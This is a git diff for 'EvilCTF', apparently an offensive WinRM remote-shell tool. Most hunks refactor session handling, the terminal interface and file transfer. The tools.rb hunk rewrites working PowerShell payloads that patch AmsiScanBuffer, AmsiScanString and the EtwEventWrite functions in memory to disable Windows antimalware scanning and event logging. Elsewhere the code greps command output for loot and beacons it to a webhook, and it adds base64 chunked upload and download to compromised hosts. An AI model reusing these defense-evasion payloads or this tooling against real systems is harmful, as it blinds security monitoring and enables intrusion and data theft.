+ endpoint: endpoint, + operation: 'Session.test_connection', + detail: e.message + ) + { ok: false, error: e.message, report: report } + rescue => e + if defined?(WinRM::WinRMHTTPTransportError) && e.is_a?(WinRM::WinRMHTTPTransportError) + return { + ok: false, + error: "HTTP transport error: #{e.message}", + report: ruby40_compatibility_report( + endpoint: endpoint, + operation: 'WinRM HTTP transport', + detail: e.message + ) + } + end + + { ok: false, error: "#{e.class}: #{e.message}" } + end + end + + def self.ruby40_compatibility_report(endpoint:, operation:, detail:) + <<~REPORT + Ruby 4.0 Compatibility Report + - Endpoint: #{endpoint} + - Operation: #{operation} + - Ruby: #{RUBY_VERSION} + - Detail: #{detail} + - Suggestion: verify all call sites use keyword arguments only and ensure winrm/winrm-fs are loaded from bundle exec context. + REPORT + end + # ------------------------------------------------------------------ # Main session loop & command handling # ------------------------------------------------------------------ @@ -172,7 +239,8 @@ def self.run_session(session_options) begin Timeout.timeout(1800) do - prompt = shell.run('prompt').output + raw_prompt = shell.run('prompt').output + prompt = normalize_readline_prompt(raw_prompt) # Use a non-blocking approach for readline to allow interrupt detection input = nil @@ -231,12 +299,12 @@ def self.run_session(session_options) # Command dispatch via dispatcher dispatch_result = EvilCTF::CommandDispatcher.dispatch( - input, - input.split(/\s+/, 2)[1] || '', - shell, - session_options, - command_manager, - history + name: input, + args: input.split(/\s+/, 2)[1] || '', + shell: shell, + session_options: session_options, + command_manager: command_manager, + history: history ) if dispatch_result[:handled] @@ -281,40 +349,6 @@ def self.run_session(session_options) '$PID', result.exitcode || 0) sleep(rand(30..90)) if session_options[:beacon] end - - # Macro expansion - - if command_manager.expand_macro(input, shell, - webhook: session_options[:webhook]) - last_command_was_tool_upload = false - next - end - - # Normal command path - cmd = command_manager.expand_alias(input) - start = Time.now - result = shell.run(cmd) - elapsed = Time.now - start - puts result.output - # --- Session Logging: Log output --- - if session_logfile - File.open(session_logfile, 'a') do |f| - f.puts "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] OUT:" - f.puts result.output - end - end - unless last_command_was_tool_upload - matches = EvilCTF::Tools.grep_output(result.output) - if matches.any? - EvilCTF::Tools.save_loot(matches) - EvilCTF::Tools.beacon_loot(session_options[:webhook], matches) if session_options[:webhook] - end - end - last_command_was_tool_upload = false - - logger.log_command(cmd, result, elapsed, - '$PID', result.exitcode || 0) - sleep(rand(30..90)) if session_options[:beacon] end rescue Timeout::Error puts "\n[!] Idle timeout — closing session" @@ -434,6 +468,19 @@ def self.setup_autocomplete(history) Readline.completion_proc = proc { |s| history.history.grep(/^#{Regexp.escape(s)}/) } end + # Normalize remote prompt output so Readline renders correctly. + # - Converts literal "\\n" sequences into real newlines. + # - Collapses CRLF/CR variations to LF. + # - Trims trailing newlines and ensures a trailing space for cursor alignment. + def self.normalize_readline_prompt(raw_prompt) + prompt = raw_prompt.to_s + prompt = prompt.gsub('\\r\\n', "\n").gsub('\\n', "\n") + prompt = prompt.gsub("\r\n", "\n").gsub("\r", "\n") + prompt = prompt.rstrip + prompt = '> ' if prompt.empty? + prompt.end_with?(' ') ? prompt : "#{prompt} " + end + def self.parse_hosts_file(hosts_file) hosts = [] return hosts unless File.exist?(hosts_file) diff --git a/lib/evil_ctf/shell_adapter.rb b/lib/evil_ctf/shell_adapter.rb index 9facf9d..e06cc87 100644 --- a/lib/evil_ctf/shell_adapter.rb +++ b/lib/evil_ctf/shell_adapter.rb @@ -1,5 +1,8 @@ # frozen_string_literal: true +require 'base64' +require 'fileutils' require_relative 'logger' +require_relative 'utils' module EvilCTF # Adapter abstraction for remote shells. Provides a stable `run(cmd)` and `close` API # and exposes the underlying WinRM connection when available for advanced operations @@ -41,6 +44,105 @@ def adapter_info # WinRM-specific adapter: can be constructed from a WinRM::Connection or a WinRM shell class WinRMShellAdapter < GenericAdapter + class InternalFileManager + DEFAULT_CHUNK_SIZE = 64 * 1024 + + def initialize(shell_adapter:) + @shell_adapter = shell_adapter + end + + def upload(local_path:, remote_path:, chunk_size: DEFAULT_CHUNK_SIZE) + raise ArgumentError, 'local_path is required' if local_path.to_s.empty? + raise ArgumentError, 'remote_path is required' if remote_path.to_s.empty? + raise Errno::ENOENT, local_path unless File.exist?(local_path) + + escaped_remote = EvilCTF::Utils.escape_ps_string(remote_path) + remote_dir = EvilCTF::Utils.escape_ps_string(File.dirname(remote_path).gsub('/', '\\')) + init_ps = <<~PS + try { + if (!(Test-Path '#{remote_dir}')) { New-Item -Path '#{remote_dir}' -ItemType Directory -Force | Out-Null } + if (Test-Path '#{escaped_remote}') { Remove-Item '#{escaped_remote}' -Force -ErrorAction SilentlyContinue } + [System.IO.File]::WriteAllBytes('#{escaped_remote}', @()) + 'OK' + } catch { + "ERROR: $($_.Exception.Message)" + } + PS + init_res = @shell_adapter.run(init_ps) + unless init_res && init_res.output.to_s.include?('OK') + raise EvilCTF::Errors::UploadError, "InternalFileManager init failed: #{init_res&.output}" + end + + File.open(local_path, 'rb') do |file| + while (chunk = file.read(chunk_size)) + b64 = Base64.strict_encode64(chunk) + append_ps = <<~PS + try { + $b64 = @' +#{b64} +'@ + $bytes = [Convert]::FromBase64String($b64) + $fs = [System.IO.File]::Open('#{escaped_remote}', [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write) + $fs.Write($bytes, 0, $bytes.Length) + $fs.Close() + 'OK' + } catch { + "ERROR: $($_.Exception.Message)" + } + PS + append_res = @shell_adapter.run(append_ps) + unless append_res && append_res.output.to_s.include?('OK') + raise EvilCTF::Errors::UploadError, "InternalFileManager upload failed: #{append_res&.output}" + end + end + end + true + end + + def download(remote_path:, local_path:, chunk_size: DEFAULT_CHUNK_SIZE) + raise ArgumentError, 'remote_path is required' if remote_path.to_s.empty? + raise ArgumentError, 'local_path is required' if local_path.to_s.empty? + + FileUtils.mkdir_p(File.dirname(local_path)) + File.open(local_path, 'wb') {} + + offset = 0 + loop do + read_ps = <<~PS + try { + $path = '#{EvilCTF::Utils.escape_ps_string(remote_path)}' + if (!(Test-Path $path)) { throw "Path not found: $path" } + $fs = [System.IO.File]::OpenRead($path) + $fs.Seek(#{offset}, 'Begin') | Out-Null + $buf = New-Object byte[] #{chunk_size} + $read = $fs.Read($buf, 0, $buf.Length) + if ($read -gt 0) { + $slice = if ($read -lt $buf.Length) { $buf[0..($read - 1)] } else { $buf } + [Convert]::ToBase64String($slice) + } else { '' } + $fs.Close() + } catch { + "ERROR: $($_.Exception.Message)" + } + PS + read_res = @shell_adapter.run(read_ps) + output = read_res&.output.to_s.strip + raise EvilCTF::Errors::DownloadError, output if output.start_with?('ERROR:') + break if output.empty? + + bytes = Base64.strict_decode64(output) + File.open(local_path, 'ab') { |f| f.write(bytes) } + offset += bytes.bytesize + break if bytes.bytesize < chunk_size + end + true + end + + def read(remote_path:, local_path:) + download(remote_path: remote_path, local_path: local_path) + end + end + def self.new_from_connection(conn) adapter = allocate adapter.send(:initialize_from_connection, conn) @@ -79,11 +181,10 @@ def adapter_info { type: :winrm, connection: @conn } end - # Return a WinRM::FS file manager if the connection and WinRM::FS are available + # Return an internal file manager implementation (WinRM::FS optional). def file_manager - return nil unless @conn - return nil unless defined?(WinRM::FS) - WinRM::FS::FileManager.new(@conn) + return nil unless @shell + InternalFileManager.new(shell_adapter: self) rescue nil end diff --git a/lib/evil_ctf/shell_wrapper.rb b/lib/evil_ctf/shell_wrapper.rb index 186ea16..d0a99b6 100644 --- a/lib/evil_ctf/shell_wrapper.rb +++ b/lib/evil_ctf/shell_wrapper.rb @@ -1,4 +1,5 @@ # lib/evil_ctf/shell_wrapper.rb +require_relative '../compat/silence_warnings' require 'winrm' require 'ipaddr' diff --git a/lib/evil_ctf/tools.rb b/lib/evil_ctf/tools.rb index 10a98dc..ad407eb 100644 --- a/lib/evil_ctf/tools.rb +++ b/lib/evil_ctf/tools.rb @@ -216,68 +216,69 @@ module EvilCTF::Tools }.freeze # AMSI bypass script BYPASS_4MSI_PS = <<~PS - $kernel32 = @" - using System; using System.Runtime.InteropServices; - public class kernel32 { - [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); - [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); - } - "@ - Add-Type $kernel32 - $amsiDll = [kernel32]::LoadLibrary("amsi.dll") - $scanBuffer = [kernel32]::GetProcAddress($amsiDll, "AmsiScanBuffer") - $oldProtect = 0 - [kernel32]::VirtualProtect($scanBuffer, [uint32]13, 0x40, [ref]$oldProtect) | Out-Null - $patch = [Byte[]] (0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0xC3) - [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanBuffer, 13) - # Fallback: also patch AmsiScanString (newer Windows builds) - $scanString = [kernel32]::GetProcAddress($amsiDll, "AmsiScanString") - if ($scanString -ne [IntPtr]::Zero) { - $oldProtectString = 0 - [kernel32]::VirtualProtect($scanString, [uint32]13, 0x40, [ref]$oldProtectString) | Out-Null - [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanString, 13) | Out-Null - "[+] AmsiScanString patched as fallback" + try { + $kernel32 = 'using System; using System.Runtime.InteropServices; public class kernel32 { [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); }' + Add-Type -TypeDefinition $kernel32 -ErrorAction SilentlyContinue + + $amsiDll = [kernel32]::LoadLibrary("amsi.dll") + if ($amsiDll -eq [IntPtr]::Zero) { + "[!] AMSI bypass failed: amsi.dll not loaded" + } else { + $patch = [Byte[]] (0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0xC3) + $scanBuffer = [kernel32]::GetProcAddress($amsiDll, "AmsiScanBuffer") + if ($scanBuffer -ne [IntPtr]::Zero) { + $oldProtect = 0 + [kernel32]::VirtualProtect($scanBuffer, [uint32]13, 0x40, [ref]$oldProtect) | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanBuffer, 13) + "[+] AmsiScanBuffer patched" + } else { + "[!] AMSI bypass warning: AmsiScanBuffer not found" + } + + # Fallback: also patch AmsiScanString (newer Windows builds) + $scanString = [kernel32]::GetProcAddress($amsiDll, "AmsiScanString") + if ($scanString -ne [IntPtr]::Zero) { + $oldProtectString = 0 + [kernel32]::VirtualProtect($scanString, [uint32]13, 0x40, [ref]$oldProtectString) | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanString, 13) | Out-Null + "[+] AmsiScanString patched as fallback" + } + } + "[+] AMSI bypass routine completed" + } catch { + "[!] AMSI bypass exception: $($_.Exception.Message)" } - "[+] AMSI bypassed (AmsiScanBuffer patched)" - try { IEX ("Am"+"siU"+"tils") } catch { "[+] Bypass confirmed" } PS # ETW bypass script ETW_BYPASS_PS = <<~PS - $kernel32 = @" - using System; using System.Runtime.InteropServices; - public class kernel32 { - [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); - [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); - } - "@ - Add-Type $kernel32 - $ntdll = [kernel32]::LoadLibrary("ntdll.dll") - $funcs = @("EtwEventWrite","EtwEventWriteTransfer","EtwEventWriteFull","EtwEventWriteEx","EtwEventWriteNoCallback","EtwEventWriteStart","EtwEventWriteEnd","EtwEventWriteExStart") - $patch = [Byte[]] (0x48, 0x33, 0xC0, 0x48, 0x33, 0xC0, 0x48, 0xC3) - foreach ($f in $funcs) { - $addr = [kernel32]::GetProcAddress($ntdll, $f) - if ($addr -ne 0) { - $old = 0 - [kernel32]::VirtualProtect($addr, 4, 0x40, [ref]$old) | Out-Null - [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 4) - } - } try { - $type = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') - $field = $type.GetField('etwProvider','NonPublic,Static') - if ($field -ne $null) { - $guid = [Guid]::NewGuid() - $field.SetValue($null, [Activator]::CreateInstance("System.Diagnostics.Eventing.EventProvider", $guid)) - "[+] ETW provider replaced with GUID: $($guid.ToString())" + $kernel32 = 'using System; using System.Runtime.InteropServices; public class kernel32 { [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); }' + Add-Type -TypeDefinition $kernel32 -ErrorAction SilentlyContinue + + $ntdll = [kernel32]::LoadLibrary("ntdll.dll") + if ($ntdll -eq [IntPtr]::Zero) { + "[!] ETW bypass failed: ntdll.dll not loaded" } else { - "[+] ETW provider field not found, continuing with patch-only bypass" + # Patch only the most stable ETW exports to reduce provider-host crashes. + $funcs = @("EtwEventWrite", "EtwEventWriteTransfer", "EtwEventWriteFull", "EtwEventWriteEx") + $patch = [Byte[]] (0x48, 0x33, 0xC0, 0xC3) # xor rax,rax ; ret + $patchLen = [uint32]$patch.Length + $patched = 0 + + foreach ($f in $funcs) { + $addr = [kernel32]::GetProcAddress($ntdll, $f) + if ($addr -ne [IntPtr]::Zero) { + $old = 0 + [kernel32]::VirtualProtect($addr, $patchLen, 0x40, [ref]$old) | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length) + $patched++ + } + } + "[+] ETW patch-only bypass completed (patched funcs: $patched)" } } catch { - "[+] ETW provider replacement: $($_.Exception.Message)" + "[!] ETW bypass exception: $($_.Exception.Message)" } - "[+] Full ETW bypass completed" PS # Windows version-aware bypass selector @@ -286,52 +287,12 @@ module EvilCTF::Tools $arch = $env:PROCESSOR_ARCHITECTURE $psVersion = $PSVersionTable.PSVersion.Major "[+] OS Build: $osBuild | Arch: $arch | PS Version: $psVersion" - if ([int]$osBuild -ge 22000) { + if ([int]$osBuild -lt 9600) { + "[+] Legacy Windows build detected - using conservative bypass mode" + "[+] Standard bypass will be used (BYPASS_4MSI_PS + ETW_BYPASS_PS)" + } elseif ([int]$osBuild -ge 22000) { "[+] Windows 11/Server 2022+ detected - using enhanced bypass" - # Enhanced bypass for Windows 11/2022+ - $enhancedBypass = <<~PS2 - $kernel32 = @" - using System; using System.Runtime.InteropServices; - public class kernel32 { - [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); - [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); - } - "@ - Add-Type $kernel32 - $amsiDll = [kernel32]::LoadLibrary("amsi.dll") - $scanBuffer = [kernel32]::GetProcAddress($amsiDll, "AmsiScanBuffer") - $oldProtect = 0 - [kernel32]::VirtualProtect($scanBuffer, [uint32]13, 0x40, [ref]$oldProtect) | Out-Null - $patch = [Byte[]] (0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0xC3) - [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanBuffer, 13) - $scanString = [kernel32]::GetProcAddress($amsiDll, "AmsiScanString") - if ($scanString -ne [IntPtr]::Zero) { - $oldPS = 0; [kernel32]::VirtualProtect($scanString, [uint32]13, 0x40, [ref]$oldPS) | Out-Null - [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanString, 13) | Out-Null - } - $ntdll = [kernel32]::LoadLibrary("ntdll.dll") - $funcs = @("EtwEventWrite","EtwEventWriteTransfer","EtwEventWriteFull","EtwEventWriteEx","EtwEventWriteNoCallback","EtwEventWriteStart","EtwEventWriteEnd","EtwEventWriteExStart") - $patch = [Byte[]] (0x48, 0x33, 0xC0, 0x48, 0x33, 0xC0, 0x48, 0xC3) - foreach ($f in $funcs) { - $addr = [kernel32]::GetProcAddress($ntdll, $f) - if ($addr -ne [IntPtr]::Zero) { - $old = 0; [kernel32]::VirtualProtect($addr, 8, 0x40, [ref]$old) | Out-Null - [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 8) - } - } - try { - $type = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') - $field = $type.GetField('etwProvider','NonPublic,Static') - if ($field -ne $null) { - $guid = [Guid]::NewGuid() - $field.SetValue($null, [Activator]::CreateInstance("System.Diagnostics.Eventing.EventProvider", $guid)) - "[+] Enhanced ETW provider replaced: $guid" - } - } catch { } - "[+] Enhanced bypass (Windows 11/2022+) completed" - PS2 - $enhancedBypass + "[+] Enhanced AMSI/ETW routines enabled by default constants" } else { "[+] Windows 10/Server 2016/2019 detected - using standard bypass" "[+] Standard bypass will be used (BYPASS_4MSI_PS + ETW_BYPASS_PS)" @@ -350,25 +311,14 @@ module EvilCTF::Tools if ($amsiResult -eq 0x80070007) { "[+] AMSI bypass verified (return code: 0x80070007)" } else { - "[!] AMSI bypass failed (return code: 0x{0:x}" -f $amsiResult) + "[!] AMSI bypass failed (return code: 0x{0:x})" -f $amsiResult } } } catch { "[+] AMSI bypass status unknown (AmsiUtils not found)" } - # Verify ETW bypass - try { - $etwType = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') - $etwField = $etwType.GetField('etwProvider', 'NonPublic, Static') - $etwValue = $etwField.GetValue($null) - if ($etwValue -ne $null -and $etwValue.GetType().FullName -like '*EventProvider*') { - "[+] ETW bypass verified (provider: $($etwValue.GetType().Name))" - } else { - "[!] ETW bypass may have failed (provider is null or wrong type)" - } - } catch { - "[+] ETW bypass status unknown (PSEtwLogProvider not found)" - } + # ETW verification is informational in patch-only mode. + "[+] ETW bypass verification: patch-only mode enabled" "[+] Bypass verification complete" PS diff --git a/lib/evil_ctf/tui.rb b/lib/evil_ctf/tui.rb index 062adeb..7a0f591 100644 --- a/lib/evil_ctf/tui.rb +++ b/lib/evil_ctf/tui.rb @@ -34,17 +34,17 @@ def self.stream_snapshot # Accepts optional `sessions` (array) and `stream_lines` to display # live data in the panels. def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = []) - cols = (TTY::Screen.width rescue 100) - total = [cols, 200].min + width, height = screen_size + total = [[width, 72].max, 180].min - left_w = 28 - center_w = total - left_w - 6 # borders + spacing (no meta column) + left_w = [[(total * 0.26).to_i, 22].max, 36].min + center_w = [total - left_w - 6, 24].max # borders + spacing (no meta column) # Top bar puts "┌" + "─" * (total - 2) + "┐" - puts "│ AWINRM OPERATOR CONSOLE".ljust(total - 1) + "│" + puts "│ " + fit_line("AWINRM OPERATOR CONSOLE", total - 4).ljust(total - 4) + " │" meta = "Host: #{state[:host] || 'N/A'} Status: #{state[:connected] ? 'Connected' : 'Disconnected'} Shell: #{state[:shell] || 'PowerShell'} SSL: #{state[:ssl] ? 'OK' : 'UNVERIFIED'}" - puts "│ #{meta.ljust(total - 4)} │" + puts "│ " + fit_line(meta, total - 4).ljust(total - 4) + " │" puts "└" + "─" * (total - 2) + "┘" # Pane headers (two-column layout) @@ -124,11 +124,15 @@ def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = [] cli_input = app_state.cli_input || '' center << "PS> #{cli_input}" - # Render rows (two-column layout) - max_rows = [left.size, center.size].max + # Render rows (two-column layout), constrained to terminal height. + reserved_lines = 10 + visible_rows = [[height - reserved_lines, 8].max, [left.size, center.size].max].min + left_tail = left.last(visible_rows) + center_tail = center.last(visible_rows) + max_rows = [left_tail.size, center_tail.size].max max_rows.times do |i| - l = left[i] || "" - c = center[i] || "" + l = fit_line(left_tail[i] || "", left_w - 1) + c = fit_line(center_tail[i] || "", center_w - 1) print "│ #{l.ljust(left_w - 1)}" print "│ #{c.ljust(center_w - 1)}│\n" @@ -138,13 +142,13 @@ def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = [] # Footer: include menu toggle hints and insert-mode indicator mode_label = app_state.mode == :insert ? '[INSERT]' : '[NORMAL]' - footer = "[S] Sessions [T] Tools [M] Macros [P] Profiles [E] Settings #{mode_label} [i] enter insert [q] quit" - puts footer.center(total) + footer = "[S] Sessions [T] Tools [M] Macros [P] Profiles [E] Settings [U] Upload [D] Download #{mode_label} [i] insert [q] quit" + puts fit_line(footer, total).center(total) end def self.render_dashboard(shell, state = {}) - cols = (TTY::Screen.width rescue 100) - total = [cols, 100].min + width, _height = screen_size + total = [[width, 72].max, 120].min puts "┌" + "─" * (total - 2) + "┐" puts "│ EvilCTF Dashboard".ljust(total - 1) + "│" @@ -154,14 +158,14 @@ def self.render_dashboard(shell, state = {}) user = state[:user] || 'N/A' os_info = state[:os_info] || 'N/A' - puts "│ Host: #{host.ljust(total - 10)}│" - puts "│ User: #{user.ljust(total - 10)}│" - puts "│ #{os_info.ljust(total - 4)} │" + puts "│ " + fit_line("Host: #{host}", total - 4).ljust(total - 4) + " │" + puts "│ " + fit_line("User: #{user}", total - 4).ljust(total - 4) + " │" + puts "│ " + fit_line(os_info, total - 4).ljust(total - 4) + " │" puts "├" + "─" * (total - 2) + "┤" - puts "│ Connection Status: #{state[:connected] ? 'Connected' : 'Disconnected'}".ljust(total - 1) + "│" - puts "│ Shell Type: #{state[:shell] || 'PowerShell'}".ljust(total - 1) + "│" - puts "│ SSL Verification: #{state[:ssl] ? 'OK' : 'UNVERIFIED'}".ljust(total - 1) + "│" + puts "│ " + fit_line("Connection Status: #{state[:connected] ? 'Connected' : 'Disconnected'}", total - 4).ljust(total - 4) + " │" + puts "│ " + fit_line("Shell Type: #{state[:shell] || 'PowerShell'}", total - 4).ljust(total - 4) + " │" + puts "│ " + fit_line("SSL Verification: #{state[:ssl] ? 'OK' : 'UNVERIFIED'}", total - 4).ljust(total - 4) + " │" puts "└" + "─" * (total - 2) + "┘" end @@ -407,21 +411,30 @@ def self.start_rainfrog(shell = nil, options = {}) # Start a new background session via prompt begin prompt = (defined?(TTY::Prompt) ? TTY::Prompt.new : nil) - ip = prompt ? prompt.ask('Target IP:') : (print('Target IP: '); STDIN.gets&.strip) - user = prompt ? prompt.ask('User:', default: 'Administrator') : (print('User [Administrator]: '); (STDIN.gets&.strip || 'Administrator')) - pass = nil - if prompt - pass = prompt.mask('Password:') - else - print 'Password: ' - pass = STDIN.noecho(&:gets).to_s.strip rescue STDIN.gets.to_s.strip - puts + ip = prompt_value(prompt: prompt, label: 'Target IP:', default: nil) + user = prompt_value(prompt: prompt, label: 'User:', default: 'Administrator') + pass = prompt_value(prompt: prompt, label: 'Password:', default: nil, secret: true) + if ip.to_s.strip.empty? || user.to_s.strip.empty? + TUI.append_stream('[!] Target IP and User are required') + next end # Create a connection and shell adapter in background and set it as active t = Thread.new do begin opts = { ip: ip, user: user, password: pass, ssl: false } - conn = EvilCTF::Connection.build_full(opts) + endpoint = "http://#{ip}:5985/wsman" + validation = EvilCTF::Session.test_connection( + endpoint: endpoint, + user: user, + password: pass, + ssl: false, + timeout: 10 + ) + unless validation[:ok] + render_modernization_report(target: ip, validation: validation) + next + end + conn = EvilCTF::Connection.build_full(**opts) unless conn TUI.append_stream("[!] Failed to create connection for #{ip}") next @@ -474,20 +487,29 @@ def self.start_rainfrog(shell = nil, options = {}) # Map F1 to 'new session' flow begin prompt = (defined?(TTY::Prompt) ? TTY::Prompt.new : nil) - ip = prompt ? prompt.ask('Target IP:') : (print('Target IP: '); STDIN.gets&.strip) - user = prompt ? prompt.ask('User:', default: 'Administrator') : (print('User [Administrator]: '); (STDIN.gets&.strip || 'Administrator')) - pass = nil - if prompt - pass = prompt.mask('Password:') - else - print 'Password: ' - pass = STDIN.noecho(&:gets).to_s.strip rescue STDIN.gets.to_s.strip - puts + ip = prompt_value(prompt: prompt, label: 'Target IP:', default: nil) + user = prompt_value(prompt: prompt, label: 'User:', default: 'Administrator') + pass = prompt_value(prompt: prompt, label: 'Password:', default: nil, secret: true) + if ip.to_s.strip.empty? || user.to_s.strip.empty? + TUI.append_stream('[!] Target IP and User are required') + next end t = Thread.new do begin opts = { ip: ip, user: user, password: pass, ssl: false } - conn = EvilCTF::Connection.build_full(opts) + endpoint = "http://#{ip}:5985/wsman" + validation = EvilCTF::Session.test_connection( + endpoint: endpoint, + user: user, + password: pass, + ssl: false, + timeout: 10 + ) + unless validation[:ok] + render_modernization_report(target: ip, validation: validation) + next + end + conn = EvilCTF::Connection.build_full(**opts) unless conn TUI.append_stream("[!] Failed to create connection for #{ip}") next @@ -506,6 +528,20 @@ def self.start_rainfrog(shell = nil, options = {}) # ignore prompt failures end next + when 'u', 'U', :f5 + if current_shell + transfer_file(shell: current_shell, direction: :upload) + else + TUI.append_stream('[!] No active shell for upload') + end + next + when 'd', 'D', :f6 + if current_shell + transfer_file(shell: current_shell, direction: :download) + else + TUI.append_stream('[!] No active shell for download') + end + next else # any other key refreshes next @@ -526,7 +562,8 @@ def self.start_rainfrog(shell = nil, options = {}) # Helper: prompt for a command and execute it in background using Execution.run def self.handle_cli_submit(shell) - cmd = (defined?(TTY::Prompt) ? TTY::Prompt.new.ask('PS>') : (print 'PS> '; STDIN.gets&.strip)) + prompt = (defined?(TTY::Prompt) ? TTY::Prompt.new : nil) + cmd = prompt_value(prompt: prompt, label: 'PS>', default: nil) return unless cmd && !cmd.strip.empty? Thread.new do begin @@ -574,5 +611,119 @@ def self.run_recon_basic(shell) end app_state.remove_task(id) end + + def self.screen_size + width = (TTY::Screen.width rescue 100) + height = (TTY::Screen.height rescue 30) + [width, height] + end + + def self.fit_line(text, width) + t = text.to_s.gsub(/[\r\n]+/, ' ') + return '' if width <= 0 + return t if t.length <= width + return '…' if width == 1 + t[0, width - 1] + '…' + end + + def self.prompt_value(prompt:, label:, default:, secret: false) + return fallback_prompt(label: label, default: default, secret: secret) unless prompt + + if secret + begin + prompt.mask(label, quiet: true, filter: ->(value) { value.to_s.strip }) + rescue ArgumentError + prompt.mask(label) + end + else + begin + prompt.ask(label, default: default, quiet: true, filter: ->(value) { value.to_s.strip }) + rescue ArgumentError + prompt.ask(label, default: default) + end + end + end + + def self.fallback_prompt(label:, default:, secret: false) + if secret + print "#{label} " + value = (STDIN.noecho(&:gets).to_s.strip rescue STDIN.gets.to_s.strip) + puts + return value + end + + if default + print "#{label} [#{default}] " + else + print "#{label} " + end + value = STDIN.gets&.strip + value = default if (value.nil? || value.empty?) && !default.nil? + value + end + + def self.transfer_file(shell:, direction:) + prompt = (defined?(TTY::Prompt) ? TTY::Prompt.new : nil) + adapter = EvilCTF::ShellAdapter.wrap(shell) + fm = adapter.respond_to?(:file_manager) ? adapter.file_manager : nil + unless fm + append_stream('[!] File manager unavailable for current session') + return + end + + case direction + when :upload + local_path = prompt_value(prompt: prompt, label: 'Local file path:', default: nil) + remote_path = prompt_value(prompt: prompt, label: 'Remote destination path:', default: nil) + return if local_path.to_s.empty? || remote_path.to_s.empty? + + Thread.new do + begin + fm.upload(local_path: local_path, remote_path: remote_path) + append_stream("[+] Upload complete: #{local_path} -> #{remote_path}") + rescue => e + append_stream("[!] Upload failed: #{e.class}: #{e.message}") + end + end + when :download + remote_path = prompt_value(prompt: prompt, label: 'Remote file path:', default: nil) + local_path = prompt_value(prompt: prompt, label: 'Local destination path:', default: nil) + return if local_path.to_s.empty? || remote_path.to_s.empty? + + Thread.new do + begin + fm.download(remote_path: remote_path, local_path: local_path) + append_stream("[+] Download complete: #{remote_path} -> #{local_path}") + rescue => e + append_stream("[!] Download failed: #{e.class}: #{e.message}") + end + end + end + end + + def self.render_modernization_report(target:, validation:) + status = validation[:ok] ? 'PASS' : 'FAIL' + error = validation[:error].to_s + report_text = validation[:report].to_s + + begin + require 'tty-table' + width, _height = screen_size + value_width = [[width - 28, 20].max, 120].min + rows = [ + ['Target', fit_line(target.to_s, value_width)], + ['Ruby 4 Compatibility', fit_line(status, value_width)], + ['Connection Error', fit_line(error.empty? ? 'N/A' : error, value_width)], + ['Report', fit_line(report_text.empty? ? 'No additional report' : report_text.gsub(/\s+/, ' ').strip, value_width)] + ] + table = TTY::Table.new(['Field', 'Value'], rows) + append_stream('') + append_stream('[!] Connection validation failed') + table.render(:unicode, multiline: true).lines.each { |ln| append_stream(ln.chomp) } + rescue LoadError + append_stream("[!] Connection validation failed for #{target}: #{error}") + append_stream(report_text) unless report_text.empty? + end + end end end diff --git a/lib/evil_ctf/uploader.rb b/lib/evil_ctf/uploader.rb index 9e4c1a3..d74967e 100644 --- a/lib/evil_ctf/uploader.rb +++ b/lib/evil_ctf/uploader.rb @@ -139,7 +139,7 @@ def self.file_operations_menu(shell) end begin require 'zip' - Zip::File.open(zip_path, Zip::File::CREATE) do |zipfile| + Zip::File.open(zip_path, create: true) do |zipfile| Dir[File.join(dir, '**', '**')].each do |file| zipfile.add(file.sub(dir + '/', ''), file) end diff --git a/lib/evil_ctf/uploader/client.rb b/lib/evil_ctf/uploader/client.rb index cb62d94..6451251 100644 --- a/lib/evil_ctf/uploader/client.rb +++ b/lib/evil_ctf/uploader/client.rb @@ -133,12 +133,12 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU rescue => _e end - # Use WinRM::FS if available + # Use adapter file manager if available fm = @shell_adapter.respond_to?(:file_manager) ? @shell_adapter.file_manager : nil if fm && fm.respond_to?(:upload) begin - @logger&.info("[Uploader] Using WinRM::FS upload via adapter for #{local_path} -> #{tmp_remote}") - 